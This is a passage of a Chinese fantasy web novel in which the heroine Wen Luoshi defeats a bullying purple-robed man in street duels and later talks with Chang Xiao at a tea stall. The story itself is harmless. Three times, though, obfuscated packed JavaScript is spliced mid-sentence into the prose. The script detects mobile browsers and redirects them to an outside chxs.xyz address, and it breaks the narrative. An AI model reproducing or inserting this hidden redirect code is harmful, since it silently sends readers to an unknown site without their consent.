她一路穿过春庭酒楼的大堂,走过三四条街,在一派车水马龙中,来到了昨天所见的欲晓书局门口。 如果说春庭酒楼是门庭若市,那欲晓书局便是门可罗雀。甚至连个雀都没有,只有几片枯树叶子,随着冷风荡起,又落下。满目疮痍,冷冷清清。 走近,文落诗敲门一看,才发现今天书局关门了,也没说什么原因。 比起那些一出事就急得跳脚的人,文落诗的情绪一向相当稳定,于是她静静看了看那扇紧锁的木门,也没有觉得太落寞,转头离开,开始在街上溜达。 今日街上的景象与昨日大有不同。 昨日飞雪连天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491144|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满城苍白,而今天大雪已经消融过半,又逢未时之初、阳光正好之时,有种在冬年难得的暖融融。街上行人比昨天多了不少,来来往往,却并不会显得拥挤。街边小铺叫卖声也此起彼伏,文落诗特意往书局旁边看了一眼,昨日的老婆婆和她的红苕小铺都没有出现。 冷风吹过,文落诗第一次有了极度迷茫之感,目睹红苕小铺的消失,她甚至会怀疑昨天仅有温暖,只不过是自己幻觉。 可这一切的平静,被团飞驰而来的紫色影子打破了。 那团紫色影子速度极快,毫不留情地撞在路边一个瓷器小铺的桌子上。 小铺的老板是个看上去不到两千岁的小姑娘,正在一旁跟别人甜甜地笑着,细声细气地谈价格,忽然感到面前有一阵风莫名袭来,紧接着,随着紫影闪过,那张桌子被狠狠掀翻,只听一阵连绵不断的碎玉声传来,桌上所有瓷器在一瞬间,成为了一地五颜六色碎片。 碎片大小不一,有的尖指着天、屹立着,有的崩开四散,只不过在一片白色的碎粉末之中,任何彩釉都失去了颜色。 小姑娘盯着满地狼藉,整个人都是懵的。 可那团紫影却不以为意,凑过来看看,见小姑娘好像吓傻了,转头就想遛。 而这一刹那,小姑娘反应过来,声嘶力竭地大喊:“喂,你回来!回来!” “没多大事,你那几个瓷瓶,也不值几个钱!” 那紫影飘飘忽忽,往文落诗的方向逃来,压根没打算为打碎瓷器而负责。 那小姑娘虽然看上去柔柔弱弱的,此刻面对这人的无理取闹和挑衅,也真的是被逼急了,根本不顾形象,大喊道:“你说没事就没事啊!你把我瓷器全打碎了,怎么说跑就跑啊啊啊!” 她施法跃起,一路御着黄色的气流,追着前方的紫色影子,朝文落诗的方向追来。 周围人纷纷抬头,却只听小姑娘在朝远处大喊,没发应过来这里发生什么。突然,不远处发出砰的一声巨响,只见一支笔从不知何处飞跃而起,冲向空中,狠狠打在那团深紫色影子上。 与其说是笔,不如说是个笔一样的法器。笔杆宽大,最上端雕刻着几枝傲然的梅花,周围飘着细碎的雪沫;笔杆中端,图案渐渐变为笔直的竹子,竹叶如刀锋一般横竖交错,刚劲有力;笔杆最末端是一片松枝,松针尖上缀着团团白雪,刻满冬天的印记。笔豪洁白,远远看去,似是飞雪顺势而下积成的弧度。 这样一只小巧玲珑的笔,威力却完全不输刀光剑影。 紫影被打中要害,传来“啊”一声尖叫,紫色光晕迅速散开。那男子现出身形,狼狈地蹲在地上,双手费力支撑着地面,低头粗喘着气。 他缓了一会儿,恶狠狠抬起头,对上一张正在审视他的、冷冰冰的脸。 文落诗见他抬头了,稍稍扬眉,语气平淡:“还想跑吗?要不要打一架?” 那男子撇嘴阴狠一笑,一身紫袍上的鎏金花纹闪着光。他抖抖袖子,站起身来。 面对这样一个瘦瘦弱弱却十分貌美的姑娘,男子只把她当作花瓶,对刚刚那一击不以为意。 “小魔娘,我看你年龄也不大,你当真想多管闲事?” 文落诗往远处瞧了瞧,见周围的人目光差不多都集中到自己身上了。 很好,这种场面,围观的人越多越好。 一道黄色气流落地,卖瓷器的小姑娘出现在文落诗身边,一脸惊诧地看着文落诗。 很明显,她没想过有人会帮她。 而且,文落诗跟她年龄相仿,看上去也不足两千岁,却仅仅用一招就能把男子击倒在地! 文落诗向她灿烂一笑,转头看向男子。面对男子的挑衅,她灵机一动,卸下刚刚那副冷气逼人的样子,气势却丝毫不输,眉眼弯下来,甜甜道:“那这位魔郎,看上去年龄比我大多了,怎么却还是被我的法器打倒在地了呀?” 那男子瞬间瞪眼。 文落诗用软软的语气继续道:“而且你比我活的时间长,魔族素来以强者为王的道理,你应该比我更清楚吧?什么时候明文规定过,需要以年龄……” 话还未说完,一道紫光向自己袭来。 8. 弦断之音谁人听 眼看着那道紫光袭来,文落诗心里畅快极了。 要的就是这个。 她之所以故意激怒他,就是为了让他在众人面前抢先出手伤人,丑态尽显。 于是,她把手里的笔抛向空中,笔尖白毫处画出一道淡粉色的雾气,对上那束直袭而来的紫光时,粉色烟雾瞬间向四方散开,氤氲开一片淡粉色的烟雾。 那紫光撞上粉烟,顿时裂开,消散得无影无踪。 魔族之人修炼大多都很勤奋,因此多数围观的人,都能从这一回合中看出些行道。 紫衣男子的修为极高,不管是从刚刚他化为一团紫气时的移动速度,还是从此刻他使出的术法,都能轻易看出来。 而令众人惊讶的是,文落诗的修为显然比紫衣男子高多了。周围的人开始纷纷议论起来。 可是,在刚刚空中的出现那团粉色时,许多人却皱起了眉头。 文落诗知道,他们大概是在唏嘘自己所修露烟道之事。 此时,那男子尖声打破了这副看客画面。 “好啊,你一个露烟,竟然敢在我熙光面前无理取闹!” 他本来还对文落诗的身手有点兴趣,可一看她是露烟道之人,就只剩下了满腔鄙夷。 “你打碎了我所有瓷器,还想逃逸,这位露烟姐姐帮我拦住你,此等仗义,怎么就变成无理取闹了?”卖瓷器的小姑娘实在看不下去了,准备好跟他对骂。 “哈,真是没天理了,”男子一甩袖袍,一阵狂风自他袖尖涌起,“一个露烟竟然敢如此叫嚣,看我不好好收拾你,打得你哭爹喊娘!” 其实男子心里知道,自己可能真的打不过文落诗。但论装腔作势,他可比一般人厉害多了。 于是,他大手一挥,一片紫色巨云出现在稀音城上空,而翻滚的浓郁的紫色中间,夹杂着数不清的金丝线。男子施法,那金色丝线化作一道道疾行的闪电,向文落诗身边的瓷器店主府冲过来。 “让你多嘴,先给你个教训!” 瓷器店主小姑娘知道自己不敌他,此时更是一惊,双手抱头,别开脑袋,却只听“轰”的一声,闪电并没有击打在她身上,而是被一道熟悉的粉烟击碎。 她双手捂脸,从手指缝里,看到迎面接踵而至的数道闪电,以及击碎闪电的数道粉烟。她偷偷瞟了一眼文落诗,一时说不出有多感动。 赶在最后一道闪电袭来之前,文落诗再次抛出自己的笔。漂浮在空中笔杆伴着流光舞动,重重地向闪电挥出一道冰气。那闪电狠狠击撞在冰气上,吓得回转方向,反而朝男子所在之处狂奔而去。 男子抽出身侧佩剑,向空出一挥,斩断了反向自己袭来的闪电。 “你想帮她出头是吧,好啊,我今日势必要送你们一起上路!” 他双臂在空中挥了挥,紫云重新聚集,也重新孕育出更多金丝纹路。 众人唏嘘,这是熙光道的顶级术法之一,名为紫光鎏金。不少人替这两个小姑娘捏了把汗,虽然男子不占理,但此刻,无论是他极高的修为,还是他的熙光道身份,都让足以围观的群众大气不敢喘,纷纷使出术法以求自保,只盼千万别波及到自己,根本无人想着帮助两个小姑娘。 而此刻,文落诗双臂交于胸前,默默念了句决,只见一片粉色光晕迅速打开,形成一个巨大的屏障,将自己和身边的瓷器店主护起来。那粉色光晕极浓,屏障极为厚实,无论外面天旋地转、风起云涌、乱石穿空、流光四溢,都无法撼动屏障中的二人。 俄顷,一阵碎裂之声荡漾开来,那紫色的云中开始冒出无数条金色的光束,向粉色屏障处狂奔而来。 这些光束比方才的闪电要浓郁得多,威力也强得多。 文落诗不知何时,将那只笔扔出屏障之外,笔豪在空中乱转。 紫衣男子得意洋洋地欣赏着这场光雨,看着空中乱窜的法器,心道这姑娘怕是慌了,连这个笔状的法器都失去的控制。 这时,文落诗身边的瓷器店主望着笔尖凌乱的走向,忽然反应过来什么,喃喃道:“姐姐这是……在画符咒?” 文落诗惊讶地看了她一眼,随即想到,这姑娘来时是以黄色气流飞行的,想来修的是澄澜道,便不觉得意外了。 此道在要义在于“创造”,有人研究机关,有人研究符咒,有人专注于某项手艺,均是在“创造”新事物,而这个姑娘,大概是选择了制瓷。虽然专攻的术业不同,但毕竟都是澄澜的范畴,她能看懂自己在画符,也解释得通了。 而男子对这一切一无所知。他正轻松,打算看着眼前两个姑娘被烧成霉干,忽然头上一阵雷声大作。 男子抬头,发现整个稀音城街上、屋檐上、甚至街边小店桌子上没清理干净的的积雪,统统都飘起来,正在慢慢升到空中,化为冰冷的水汽。仰头望去,这些水汽从四面八方而来,正反复拍打着凝聚在上空的紫云。仿佛被极度的冷重重一击,紫云的光暗淡下去,凝结金丝线的速度也明显变慢。 众人皆怔住,从未见过如此情形,也没太明白文落诗做了什么。 紧接着,又有一批细碎的积雪腾跃至空中,变为一道道犀利的冰棱柱,刺向紫云。那紫云被扎种,左躲右躲,颤抖不已,根本无力再凝结金丝线。从空中而落击打粉色屏障的金丝线缓缓消失了。 男子大惊失色,见两个姑娘安然无恙,而那团紫云,已经摇摇欲坠,怕是很快就要被击碎。 这团紫云是他毕生所学的尽数体现,已经耗费了他几乎所有的力气。此刻,他已经筋疲力尽,可终究不忍心看着那团紫云败在绵绵不断攻击的冰棱中。正当他打算施法补救时,面前一道粉色烟雾冲过来,那力道过于强大,根本躲闪不及,他一个踉跄,身后一空,重重摔倒在地。 与其同时,几束冰棱同时击中紫云,天空中一片巨响,一道巨光炸裂开来,所有人眼前一晃,待再睁开眼之时,空中已经恢复了晴朗,那片紫云早已消失得无影无踪,只剩下大街上一身倒地的颓废的紫衣,身侧翻着灰色的即将熄灭的光。 ——好像什么都没发生过,一切如初,只不过一瞬之间,全城的积雪,尽数消失。 百姓们反应过来,这一架已经打完了,纷纷看向文落诗,拍手叫好。 瓷器店主小姑娘紧绷的神经终于松开了,她抬起头,眼泪汪汪地看着文落诗。 “姐姐,太谢谢你了,你人真的太好了呜呜呜。”说罢,她扑上来,软乎乎地抱着文落诗,开始用她的衣襟擦眼泪。 此时此刻,那团落魄的紫影见没人注意到他,立刻准备开逃。然而他已经修为所剩无几,再使劲也飞不快,只能缓慢移动着,向人群之外飘去。 当然,他身旁是一阵接着一阵的嘲笑声。 要是说刚刚还有人没看懂怎么回事,现在所有看热闹的人全都明白了,男子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491145|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不占理在先,还先出手伤人,最终被打败,自然没人愿意给他好脸色。 文落诗拍拍怀里的小姑娘:“好了好了,姐姐就是看不顺眼他仗‘道’欺人,只可惜,你的瓷器全碎了,他却跑了。” 小姑娘使劲摇摇头:“瓷器不重要,重要的是,你证明了熙光之人也不一定居于其它道之上!” 文落诗面色不为所动,心中却唏嘘不已,这么多年来,她是第一次站出来,正面反抗这世道的不公。 可是,她只是赢了一次而已,无法去保证未来赢每一次。而且,除了身处事件之中的瓷器店主,没有别人这么想。 大家只是觉得她在路见不平拔刀相助,只是觉得对方打碎了瓷器得到了应有的教训,可不会有人仔细去想,为什么一个熙光道之人在日常生活中是如此跋扈,为什么瓷器店主会被轻易归为“好欺负的人”那一个类群。连文落诗胜利了,大家也只是感叹她的修为之高、行侠仗义,没人会觉得,这场打斗,意味着“露烟”也能胜过“熙光”。 露烟是不可能胜利的。 魔界的街上,打打闹闹再正常不过了,大家对此都不以为奇。路上围观的行人渐渐稀松开来。 好似一场盛大的典礼结束,落幕时的流逝感也在预料之中。可此刻冬年冷风吹起,却显得一切格外荒谬。 文落诗摇了摇头,再次被迫接受了这个扭曲的世道。 瓷器店主小姑娘喜笑颜开地走过来,挽过文落诗的手:“姐姐,我叫石玥,晚上请你吃饭!”说着,两个人没走几步,回到了瓷器小铺处。 然后,就在文落诗看着满地碎瓷愁眉苦脸时,忽然看见石玥双手一拍,一片黄色光晕流转,绕着碎瓷转了一圈,散出一道强光。强光散后,所有瓷器,恢复如初。 文落诗彻底傻眼了。在她还没反应过来的时候,石玥再次笑呵呵跑过来:“我毕竟是澄澜么,修复点瓷器不在话下。其实,我不担心有人打碎了我的瓷器,但我生气的是他的态度。” 在文落诗目瞪口呆的注视下,石玥撸了撸袖子,展现出大干一场的架势,开始整理桌上完好如初的瓷器们。只见她一件、一件,把桌上的瓷器整整齐齐排列好,每两个瓷瓶中间留的距离都一模一样,然后转过头来,对文落诗眨巴眨巴眼睛。 “这些瓷器……跟刚刚,有什么区别吗?”文落诗想了半天,问出这么一句。 “当然有区别了!”石玥听闻后急了,“刚刚是杂乱无章的状态,现在才是摆好了、能入眼的状态啊!” 然后她一个一个给文落诗指:“你看前面这两排,都是小瓷器,有瓷瓶、瓷碗、瓷罐,但它们都是分别按照瓶口大小依次排列的。中间三排都是中型的瓷器,后面两排是大瓷器,也包括大一点瓷碟。然后,最重要的是,你看他们所有瓷器的颜色,是渐变的,最左边都是红色,然后慢慢变成黄色、绿色、蓝色……哎呀你能看出来的啊。而且红色也分很多种红,从岱赭、朱殷、胭脂到绛红,一定得按顺序摆,才能顺眼啊!” 文落诗觉得,这个妹妹怕是真的有点强迫症。于是,她被石玥拉去春庭酒楼的路上,一直在思考一件事:如果要是她开瓷器铺,会怎么摆放这个瓷器。 要是她来摆,五颜六色、花花绿绿、高高低低随便摆一桌,还能声称自己的作品有凌乱之美感。 当她得出结论时,石玥已经拉着她准备在春庭酒楼大堂中坐下了。 9. 弦断之音谁人听 文落诗刚一落座,忽然想到什么,大惊道:“石玥,你怎么带我来这家酒楼了?” 石玥看着小二递上来的菜单,正在琢磨今晚吃什么,有些心不在焉:“这家好吃啊。落诗我之前忘了问你了,你不是当地人吧,这家是整个稀音城里最好的酒楼。” 文落诗哪里顾得上这么多,立即道:“不行,不能在这家吃!” 她太后悔了,一路上神游四海,一个不注意,就被她给拉到这里来了。 望着石玥疑惑的眼神,她思维有些混乱:长晓让她免费借宿,她虽说可以免费吃这里的饭,但也不能这么没心没肺带着朋友来蹭饭啊,好像要使劲占长晓多大便宜似的。等一下,这个逻辑是不是不太通。再说了,石玥想请客,那石玥的钱最终还是流入长晓的钱袋里,自己要是答应了在这里吃饭,不就相当于帮一个朋友赚走另一个朋友的钱,自己还在其中渔翁得利了吗?不对不对,这个逻辑也不太通,而且渔翁得利这个词用得也不对…… 石玥看文落诗一言难尽的样子,以为她有难言之隐,干脆爽快道:“算了算了,听你的,换一家,走。” 后来,在另一家酒楼中,直到吃上饭,文落诗都没想明白,自己为什么会觉得在春庭酒楼吃饭这件事很别扭。 她总觉得,有种看着钱往自家流的感觉。至于为什么会有这种感觉,文落诗也不知道,只是觉得越想越累,便阻止了自己继续想下去。 于是,这一晚,石玥和文落诗聊了很多有的没的,交谈甚欢,两个年龄相仿的小姑娘分享了好多自己的故事。 文落诗回到春庭酒楼后院时,一更的钟声已经敲响过了。她望着长晓的房间,静静站了许久。 那房间漆黑,如深邃的墨色一般,静得可怕,仿佛没有人在其中居住。 这一天过得好累,好丰富,可此时此刻,她一声不吭,望着眼前的景象,甚至不知道自己在想什么。 许久,她绕道屋子后面的小院里,去看了一眼熟睡的猼施,给它脚边放了几根新红萝卜,转头回自己房间睡了。 * 翌日一早,文落诗喂完猼施,又匆匆出门了。她裹好厚厚的白毛披风,把所有手稿装好,一路走街串巷,又去了一趟欲晓书局。 只不过,昨天风头出得太大,今天实在不想大摇大摆引人注目。文落诗出门前拿了个淡蓝色面纱,遮住了半张脸。 运气不太好,她再次看到欲晓书局紧闭的大门。 于是,她今天又没有事情做了,可太无聊了。 一路沿着熟悉的街道向下走,听到街上不断有人议论着昨日之事,她无奈一笑,继续向前走。 她路过一个无名小茶铺。茶铺很普通,只有路边摊,比不上那些高贵茶楼。但这些普通小竹椅上,坐了一个不普通的人。 也是自己昨天打算兴师问罪、却不见人影的人。 文落诗知道自己带着面纱,别人看不清她的脸,所以没太大压力,也不担心这家茶铺的老板昨天是否混在人群中,看过她的战斗场面。 但对于长晓这个人来说,文落诗有充足的信心,就算她只露出一根头发,长晓都能把她认出来。 很明显,长晓也看到了迎面走来的她,冲她招招手。 文落诗在长晓旁边的小竹木矮凳上坐下,接过了长晓递来的一杯茶。 她举着茶碗,端详过后,暗道这茶碗比长晓用的那些差多了。 可见长晓的生活多么充盈且富有。 她又全身上下打量了一番长晓,见他系着厚实的黑色披风,虽然不起眼,但肯定价值不菲。 “猼施我帮你喂过了。”文落诗见长晓一直看着自己的脸,怎么也不开口,随便扯了个话题,打破这幅只靠对视持续下去的沉寂。 “嗯,”长晓抿了一口茶,语气淡淡,“你的脸怎么了?” 他这话说得毫无波澜,但文落诗多年察言观色惯了,对言语很是敏感。她很确定,长晓是在压抑着怒意问的。 她稍稍怔了一下,才明白他似乎是误解自己了。 “我的脸啥事没有,就是昨天在街上打了一架,太多人围观了,好多人都记住我了。今日出门,还在这一片街道晃悠,不想招摇过市,引得太多人注意。” 长晓闻言,也是一怔。 他见到文落诗的那一刻,十分坚定地以为她是昨天被伤着了,不做他想。他心里莫名就升起一阵怒意。 不过确实万万没想到是这个原因。 “我还道是昨天那人伤着你了。” 文落诗好奇:“你听说我昨天的事情了?” 长晓颔首,眉眼间渐渐露出笑容:“不仅听说了,还知道那个瓷器店主想请你来春庭酒楼吃饭,你死活不同意,拉着她换一个地方。” 文落诗心里一空。冷风吹着她脸上的面纱晃晃悠悠。 他真的什么都知道。 自己打架这事闹得太大了,他听说了也算正常;自己被石玥拉去春庭酒楼,酒楼毕竟是他开的,有眼线将自己的事情汇报给他也很正常。 但是文落诗就是觉得,有那么一丝不对劲。具体是什么,她也说不上来。 长晓见她久久没说话,眼神飘向远方街巷口的位置,过了一会,道:“好了,我对你关注有些过度了,抱歉,失礼。” 文落诗本来想得出神,此刻回过神来,连忙道:“没有没有,不至于。” 说完之后,她觉得更尴尬了,他本来就是对自己提供了包吃包住的服务,自己也答应了当作他的灵感来源,他关注自己的一举一动,也算是情理之中。 于是她想了想,又补充道:“我昨天只是觉得,如果让她在你的酒楼吃饭,还是请我,有种咱俩合伙赚走她钱财的感觉。”补充完,文落诗更后悔了,自己说的这都是哪儿跟哪儿啊! 不料长晓答道:“那倒确实,你考虑得周到。” 说得好像文落诗真的算半个春庭酒楼的东家一样。 见文落诗不说话,长晓又问道:“所以,你昨天真的没事?” 文落诗知道他是在关心自己,但心中有股奇怪的感受。这么多年来,真正关心她的人屈指可数。面对突如其来的真切关心,她有点招架不住。 她摇摇头,尽量不去直视长晓的眼睛。 “我真没事,”说着,她把目光转向桌上的茶杯,拿起来绕到面纱下,喝了一口,“不过,这次确实是我第一次直面跟人动手。” 长晓看了文落诗一眼,略有深意。他很聪明,一下子听懂了她这句话背后的含义。 这是第一次跟人动手,意味着以前她遇上这种事都没动过手,只靠自己默默隐忍。 而“第一次”这个词,往往会用在感慨以前“太多次”的时候。 不过,她既然没明说,自己也没必要戳破痛处。 “昨日下午我在另一家铺子查账,听到打斗的声音,便出门查看,看到天空中出现了不少异象。我当时只做好奇,因为能使用这种融合不同道业的术法之人,少之又少。现在看来,文姑娘的确厉害。” 文落诗心中一笑,暗道果然,他能看出自己所用术法的路数,不愧是融雪之人。当场的大多数人估计不知道她究竟是如何取胜的。 融合不同道业的术法往往是施法者自创的,昨天那一套,便是文落诗靠这些年的积累悟出来的。 她是露烟道不错,但绝不是很多人刻板印象那种,因为修不懂别的道,退而求其次才选择的露烟。 她是真的每一道都能修,只不过她选择了露烟。 长晓接着道:“以法器执笔,乃露烟专属,而你又在执笔之时借用了澄澜的符咒,最终使出的却是沉碧的御水之术……而这御水之术也不算普通,你将全城的积雪转化为冰凌,这算是极为古老的术法了,只有远古时期的大战中有出现过,所以,大概是你从那些榴火之人所著的追溯过往的书中读到的吧?” 这一席话落,文落诗震惊到僵住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491146|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,久久没能说话。 长晓看着文落诗一脸惊呆的表情,没忍住,顿时笑了出来,漫不经心:“文姑娘,我有哪一处说错了吗?” 他居然从头到尾,每一处都说对了。要不是早就知道长晓修为极高,知识也极为渊博,文落诗甚至不敢相信,有人能把自己那一套乱糟糟的术法这么清晰地解读出来。 她木木地摇了摇头,深深叹一口气:“你这也太厉害了,明知故问啊。” 长晓笑道:“厉害的是你,毕竟你这一套术法,创得很妙。可有名字?” “我曾经随便起过一个名字,叫‘绘澜唤碧’。”刚说完,文落诗一下子想到,面前坐的可是一个修为比自己高了不知道多少倍的融雪之人,她哪里敢接受这番夸赞,连忙补充:“其实是碰巧了,昨日下雪,满城积雪,我正好拿来用了。若是平日未逢大雪,就只能凝结空气中的露水了,威力会减少大半。” 长晓没说话,只是继续笑着。 他心中明白,她是下意识地拒绝接受别人的夸赞。大概在她心中,她这些年,一直是低着头的。 见长晓不说话,文落诗只好想办法扯开话题:“你不是要写曲吗,大冬天的,怎么来茶铺了?” 长晓抬头,看了看人潮熙熙攘攘的街道,开口:“所谓创作,重在下沉。最好的乐曲,并非高层社会的奢侈品,而是市井巷陌中广为流传的小调。” 文落诗疑惑:“那跟你喝茶有什么关系?” 长晓答道:“我随便找了个茶铺,静下来,认真看看街上不同的人,从他们身上得到灵感,才能写出下沉到他们身边的曲子和词。” 文落诗心想,我当然知道艺术来源于生活,但是你这也太自视清高了。 仿佛看出她心中所想,长晓笑道:“所以,我通常不对外说出自己的身份,只当自己是个过路的寻常人,穿梭在街巷中。” 看着那双如月般静美的眼睛,他顿了顿,接着道:“不过,我以前都是独自一人游走于各个城池之间,从来没有主动约过别人。文姑娘,你是第一个。” “啊?”文落诗听懵了,“就因为我差点撞了你的车?” 长晓失笑:“不是这个。” 文落诗百思不得其解:“那为什么是我?” 长晓沉默一会,像是做了一个很大的决定。 忽然,他对上她的眼神,沉静地说道:“因为我觉得,我们似乎是一路人。” 文落诗没接上这话,两人之间,又沉默许久。 街上叫卖声此起彼伏,有老者匆匆穿梭而过,有孩童举着冰糖的串串红跑来跑去,有三三两两并肩而行的人,也有不折不扣的低头走路的独行者。小铺前写着“茶”地那块布好像有些褪色,随着冬年中的冷风一起一伏,飘忽不定,没个着落。转而又有客人光顾茶铺,店小二过着厚实的头巾,迈着小碎步跑出来迎接。 终于,文落诗斟酌许久,开口:“我怕是不大理解。毕竟,这么多年,我一个人待惯了。” 长晓却没有直接看向她,而是看着街上的人潮熙攘,仿佛有些心不在焉:“无妨,慢慢来。” 文落诗知道,这回真的聊不下去了,也绞尽脑汁想不出话题了。 毕竟她也算个文人墨客,肚子里有些墨水,以前面对别人,她总能想出各种话题,见不同的人,能有不同的谈资,所以她认识的人,大多都觉得和她聊天很轻松。 可是面对长晓,她连续好几次发现,自己无法把天聊下去。她总觉得,此人不怒自威,虽然总是淡淡笑着,身体周围却萦绕着令人不可靠近的冷气,好像自己随便东拉西扯、抛出一个不相干的话题,对他是一种亵渎。 她干脆不想了,转移自己的注意力,也开始学着长晓的样子,看向茶铺外的街道。 好巧不巧,她刚一转头,就看到一抹再熟悉不过的紫色影子,怒目而视前方,疾行着。 而这道影子,恰巧走到了一个穿戴单薄的小姑娘面前。 10. 弦断之音谁人听 文落诗看着那人,冷笑一声。 “呵,看来是不长记性啊。” 那人手里不知道拿了个什么棍子,冒着尖尖的头,在暗淡而汹涌的人潮中显得格外耀眼。 忽然,他和一个小姑娘“擦肩而过”。那小姑娘看起来跟石玥差不多大,在冷风从未停息的冬天,穿着一袭薄薄的粉色衣裙,未施粉黛,头上也未戴簪钗,看上去并不富裕。 紧接着,一道裂帛之声传来,而后,只听“啊”地一声,粉裙女子惊慌失措。 那紫衣男子手里的棍子,划到了小姑娘右边的衣袖上。粉粉嫩嫩的大袖子上忽然出现一道又长又直的裂痕。而那男子却作出一副什么也没有发生的模样,径直向前走,企图混进人群里。 这套路也太熟悉了。文落诗心想。 长晓看了看文落诗的眼神,顿时明白了一切。 粉衣女子吓懵了,“唰”地回头看向那人,却在看到那人棍子上闪着淡淡紫气之后,讪讪转回身子,低下头,暗自咽了口吐沫。 大概又是个无还手之力的。 眼看着文落诗就要站起身,一袭黑袖却在她面前一拦。 “我来吧,你歇着。” 眼看长晓已经站起身,文落诗脑子一转,赶紧起身跟上。 许是想到这些年来自己都没有大胆站出来过,抑或是借着昨日大战一场胜利的余晖,她对长晓道:“姑娘之间互相帮忙是应该的,这没什么,不需要让你来。” 见长晓闻言停住,她反应过来这话说得似乎略带有责备的意思,长晓是好心,反被自己无意中泼了冷水,顿了一下:“这个时候,你就别想着英雄救美了。” 长晓站定,没再往前,算是默认了文落诗的话。 于是,文落诗冲上前去,再次抛出自己的法器,砸向那个即将消失在人群中的紫影。 长晓看着这一幕,瞬间思维有些乱。此刻,他清楚地知道,刚刚自己想出手,并非是想帮这个不认识的小姑娘,而仅仅是想让文落诗不必再独自一人面对麻烦。这下意识的想法如同火焰一般,窜上来的速度之快,让他不禁怀疑,自己怎会在这么短的时间内,几乎像变了一个人一样。 他有些想扶额苦笑,却又想到此刻身处大庭广众之下,没必要跟自己一个想法较真。 转而,他注意到了文落诗抛出的法器。 粉衣女子转过头之时,文落诗已经轻车熟路将那团紫影打倒在地,那男子在地面上缩成一团,周围人群匆匆,却渐渐以文落诗为一个圆圈,向四方疏散开来。 渐渐的,圆圈厚实了起来,多了好几层。 这个世界上,最不缺的就是热闹发生的第一时间冲向前方的看客。 紫衣男子起初是满脸惊讶,却眯眯眼一看,认出面纱后文落诗的脸,忍着身上血流不止的疼痛,龇牙咧嘴阴狠一笑:“怎么又是你?管闲事上瘾了?” 这种讽刺句式过于熟悉了,文落诗甚至懒得去自证什么。相反,她更乐于之间把事实摊开在所有人面前,任凭众人评判。她此刻手握着笔,居高临下地站在他面前,神色轻松得很: “看来,昨日打你打得不够狠啊。” 周围的人群一听这话,立刻纷纷把目光移向紫衣男子身上,开始重新审视他。 文落诗继续:“昨日大手大脚打碎了一家店铺的瓷器,妄图逃逸;今日又是举着个棒子出门,划破了人家衣服,怎么,你这是又准备溜之大吉了?” 周围的人群有一半恍然大悟,倒吸了无数口气,认出了文落诗是昨天那个执笔聚云、幻化冰凌,破了紫光鎏金的女子,纷纷开始议论:“就是她,就是她!” 紫衣男子盯着文落诗,右嘴角妖冶上扬:“棒子?那你就试试这根‘棒子’吧!” 文落诗再次唤出自己的法器,正准备在空中画个新符咒对付他,却见一道粉影忽然挡在面前。 “好啊,有本事在我面前试。” 恍惚间,那方才受害的粉衣女子一改柔弱之态,腰板挺直,立于文落诗面前。 文落诗内心十分惊讶,她思维定势地以为,这个姑娘应该不敌对方,且本来打算放对方走,现在忽然开始正面反抗,又是哪一出? 就在这时,粉衣女子转头看向文落诗:“魔娘,谢谢你替我出头,但我的事,理所应当我自己面对。” 她眼神坚毅,嘴唇青抿,冷风拂过面容,吹动鬓角处几丝凌乱的头发,也吹动她衣衫。 周围有不少见状起哄的人,在得知文落诗昨日的实力后,更想看看这位姑娘的实力。 只有文落诗离她近,注意到她的手其实在抖,而且抖得厉害。 为给予她最大的尊重,文落诗点点头,退到人群之中。长晓站在她身边,与她交换了个眼神,好像在说,要是她等会儿需要帮忙,再上前去。 紫衣男子渴望这次一雪前耻,默默念诀,右手举着他的“棒子”,在空中挥了几圈,却不见任何反应。他顿时面露疑惑之意,再次念诀,仰头望天,更加用力地挥舞那根棍棒,却依然毫无动静。 周围的窃窃私语声开始变得浓郁。 “这是在……搅拌空气?” “怎么跟我在家和面的姿势差不多?” “不对,这个姿势更像是在茅厕里拿一根棍子在搅……” 一阵笑声哗然。 紫衣男子瞬间怒了,大吼一声,一股巨大的魔气从他身侧散发开来,袭向四周人群。人们纷纷抬臂抵挡。 忽而此时,天空中传来一阵雷声。 “唤雷针。”长晓用极低的声音说道,语气肯定,好像印证了他的猜想一般。 文落诗捕捉到了这极小的声音,脑中飞速旋转,忽然什么东西在脑海中一闪,她想起此“棒”为何物,大惊失色。 唤雷针,是一个上古魔兵。 此针乃上古遗物,也是魔族著名法器之一,威力可高可低,全部取决于使用者的修为高低。使用者将自身法力注入其中,便可用其搅动风云,唤来巨雷,此法器也因此得名。 